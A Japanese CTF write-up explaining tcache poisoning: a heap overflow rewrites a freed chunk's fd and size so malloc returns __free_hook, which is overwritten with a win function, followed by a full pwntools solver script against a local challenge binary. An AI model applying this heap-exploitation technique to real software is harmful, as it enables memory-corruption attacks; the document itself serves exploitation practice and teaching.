方針
Heap overflowによって、下のチャンクのfd
とサイズを書き換えて、tcache poisoning
によるwin関数の呼び出し。
やる
B
の領域をmalloc
してfree
することで、tcache
(の0x20ようのスレッド)につなげる。
-=-=-=-=-= TCACHE -=-=-=-=-=
[ tcache (for 0x20) ]
||
\/
[ 0x000055dfd3002350(rw-) ]
||
\/
[ END OF TCACHE ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
1. Bのfdを書き換える
free
されたチャンク(freed chunk)のfd
がNULL
なので、次につながっているfreed chunkはない。
ここで、AのHeap Overflowを利用して、Bのfd
を書き換えるとfd
に値が入るので、tcache君はBの次があると錯覚する。
A*24 + 0x31 + __freehook
を与えた図。
2. fdを__free_hookで書き換える
fd
を__free_hook
(のアドレス)で書き換えると、tcache
はこのようになる。
(tcacheを汚染しているので、これをtcache poisoning
という)
-=-=-=-=-= TCACHE -=-=-=-=-=
[ tcache (for 0x20) ]
||
\/
[ 0x0000557af97c3350(rw-) ]
||
\/
[ 0x00007effac9cc8e8(rw-) ]
||
\/
[ END OF TCACHE ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
3. chunk sizeを0x30にする
chunk sizeが0x20
のままだと、一向に__free_hook
のアドレスが返ってこない。
0x30
にすると、Bのfreed chunkは0x30用のtcacheに繋がれるので、tcache
の先頭に__free_hook
のアドレスが来る。
(0x20用のtcacheにB
と__free_hook
が繋がってるとき)
tcache [0x20] -> B -> __free_hook
tcache [0x30] -> NULL
↓↓↓
(Bのchunk sizeを0x30にして、malloc and freeしたとき)
tcache [0x20] -> __free_hook
tcache [0x30] -> B
__free_hookにwin関数を書き込む
B = malloc(0x18)
で返ってくるアドレスは、__free_hook
であることがわかる。
__free_hook
は、free()
を実行したときに呼ばれるフック1である。
したがって、__free_hook
にwin
関数のアドレスを書き込んでfree()
をすることで、win
関数が呼ばれる。
solver
from pwn import *
context(os = 'linux', arch = 'amd64')
context.log_level = 'debug'
def write(data):
io.sendlineafter("> ", "1")
io.sendline(data)
def malloc(data):
io.sendlineafter("> ", "2")
io.sendline(data)
def free():
io.sendlineafter("> ", "3")
def describe_heap():
io.sendlineafter("> ", "4")
io = process("./chall")
#leak address
io.recvuntil("<__free_hook>: ")
addr_free_hook = int(io.recvline(), 16)
print("__free_hook address: " + hex(addr_free_hook))
io.recvuntil("<win>: ")
addr_win = int(io.recvline(), 16)
print("win address: " + hex(addr_win))
payload = b"A"*0x18
payload += p64(0x31)
payload += p64(addr_free_hook)
malloc("")
free()
write(payload)
malloc("")
free()
malloc(p64(addr_win))
free()
io.interactive()
フック(Hook)は、一回経由する場所というイメージである。 ↩︎